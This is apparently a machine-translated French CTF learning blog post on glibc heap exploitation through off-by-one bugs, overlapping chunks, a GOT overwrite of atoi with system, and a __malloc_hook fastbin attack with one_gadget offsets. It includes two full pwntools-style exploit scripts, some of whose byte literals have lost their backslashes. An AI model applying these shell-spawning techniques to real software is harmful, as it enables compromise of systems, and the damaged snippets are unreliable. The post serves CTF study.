2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Les bases de pwn sont encore très superficielles. Je viens d'enregistrer une partie de mon expérience d'apprentissage.
Au fur et à mesure que l’étude progresse, des points de connaissances et des questions supplémentaires seront ajoutés.
Résumé de l'apprentissage de off par null |
Extension et chevauchement de morceaux | ctfwiki
Les Chunk Extend et Overlapping mentionnés ci-dessus sont étroitement liés au off-by-one.
C'est ce qu'on appelle souvent des « blocs qui se chevauchent ».
Pourquoi créer des blocs superposés ?
Par exemple, si nous voulons réécrire le champ d'en-tête d'un morceau, c'est-à-dire les segments prev_size et size, nous ne pourrons certainement pas le modifier en l'appliquant directement.
Une idée est de construire un faux morceau égaré. Une autre idée plus simple est de créer des morceaux qui se chevauchent. En modifiant la taille en bits, la partie des données utilisateur d'un gros morceau inclut l'en-tête du petit morceau que nous voulons modifier.
Je pense que cette question est un bon exemple de la façon d'utiliser un par un. Les questions ne sont pas très difficiles, et les points d'utilisation sont assez astucieux.
Décompiler pour trouver des failles,
Il y a un décalage artificiel ici, et un octet supplémentaire peut être écrit ici.
Revenant à l'attribution des sujets,
Tout d’abord, un morceau de taille 0x10 est alloué pour stocker certaines informations, puis un morceau est alloué au contenu.
Ce sera très clair si vous regardez le débogage de gdb ici.
Par exemple, la disposition du bloc de tas après avoir ajouté (0x28,'0'), add(0x10,'1')
Vous pouvez voir qu'à chaque fois que nous ajoutons, nous allons d'abord mallocer un morceau qui stocke les informations de bloc de tas à une adresse basse, puis mallocer un morceau qui stocke le contenu.
Ensuite, j'ai remarqué que les opérations d'édition et d'affichage se font toutes viaInformations sur le bloc de tasstructure à "indexer", alors si nous voulons divulguer la libc, nous pouvons mettre les informations de bloc de tas de ce morceau *content
Le champ est modifié par l'adresse de la table obtenue d'une certaine fonction. Par exemple, si atoi est utilisé dans cette question, alors atoi_addr sera imprimé lors de l'affichage.
Cela implique une situation similaire dans le "Petit Compréhension" précédent. Nous ne pouvons pas modifier directement le contenu du bloc qui "stocke les informations du bloc de tas", nous pouvons donc utiliser off-by-one de manière plus intelligente pour implémenter l'extension du bloc de tas. .
Par exemple, si nous le modifions ainsi, cela peut en fait provoquer l'expansion et le chevauchement des blocs de tas.
Parlons de l’utilisation spécifique ci-dessous.
Le bloc de tas d'informations et le bloc de tas de contenu seront gratuits, il y a donc actuellement deux bacs de taille de 0x20 et 0x40 dans les bacs rapides.
Bien sûr, il y a quelques détails, comme la dernière sélection de taille mentionnée de 0x18 et 0x28, et la nécessité de réserver le contenu de la pile d'informations lors de sa modification.taillechamps (sinon la modification finale n'aura pas la longueur nécessaire pour écrire pour vous) et ainsi de suite.
Exp:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
Il y a en fait un autre point clé dans cette question, et c’est aussi le point sur lequel j’étais confus au début. L'ajout initial du chunk0 de l'EXP de Maître ZIKH est 0x18. Dans ma propre pratique, le changer en 0x10 ou 0x20 n'a pas fonctionné, mais le changer en 0x28 a fonctionné.
Le débogage a révélé que lorsqu'elles sont modifiées en 0x10, 0x20, nos données utilisateur n'activeront pas le morceau suivant.taille_précédentede.
Lors de l'allocation de 0x18, 0x28, etc., le mécanisme ptmalloc2 réutilisera le segment prev_size de next_chunk.
emmm, en fait, en dernière analyse, je ne suis toujours pas assez familier avec le tas. Après tout, rien qu'en regardant l'explication du wiki, il y a tellement de points de connaissance et les détails sont compliqués, ce qui rend difficile la mémorisation. Bien sûr, je l'ai rencontré en combat réel. Ce sera bien mieux après l'avoir débogué moi-même et l'avoir à nouveau compris.
Le défaut de la question est ici.
Lorsque a2-a1==10 est dans le if, c'est-à-dire lorsque la taille entrée par édition est exactement 10 plus grande que la taille ajoutée, il y a un décalage par un.
Structure d'allocation approximative
Ou utilisez le segment bss pour stocker l'inutilisation et l'inutilisation du morceau.*content
Nous pouvons toujours utiliser off-by-one combiné avec les caractéristiques de la taille 0x?8, réutiliser prev_size pour simuler prev_size et size pour déclencher la fusion avant (adresse basse).
A ce moment, vous pouvez voir que la fusion est déclenchée par free(2).
À ce stade, si nous ajoutons (0x80) puis montrons (1), nous pouvons réellement imprimer la valeur de main_arena+88.
D'après ce que je comprends, le add(0x80) ici consiste à diviser la corbeille non triée, de sorte que le pointeur fd (main_arena+88) soit déplacé vers le segment chunk1 qui peut être affiché.
À ce stade, l'adresse de base de la libc est divulguée.
Les opérations suivantes semblent impliquer de nombreux blocs de tas qui se chevauchent, jetons donc un coup d'œil au débogage étape par étape.
Disposition du tas lors d'une fuite de la libc
add(0x68)
(Coupez un morceau de la poubelle non triée)
free(1)
(fastbin 0x70)
edit(2,p64(malloc_hook-0x23))
(Ici, nous profitons du fait que le chunk2 de 0x68 demandé à l'étape précédente chevauche le chunk1 qui vient d'être libéré (le chunk1 a été demandé au début))
add(0x68)
(Pour postuler pour chunk1, il s'agit en fait de chunk2)
add(0x68)
(Demandez pour renvoyer le fake_chunk à malloc_hook-0x23)
Ensuite, vous devez utiliser realloc pour ajuster le cadre de pile et vous pouvez obtenir le shell.
Je peux alors communiquer localement, mais pas à distance.
Après avoir regardé l'Exp de Maître ZIKH, je dois utiliser le
realloc = libcbase + libc.sym['realloc']
Changer pourrealloc = libcbase + 0x846c0
Ensuite vous devez changer la valeur de one_gadget
Ces deux one_gadgets ont un décalage, je ne sais pas pourquoi pour le moment. Peut-être que cela a quelque chose à voir avec l'ajustement du cadre de la pile ? (Apprenez plus tard)
Jouez à l'Exp locale :
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
locale:
À distance:
Pour résumer, c’est difficile.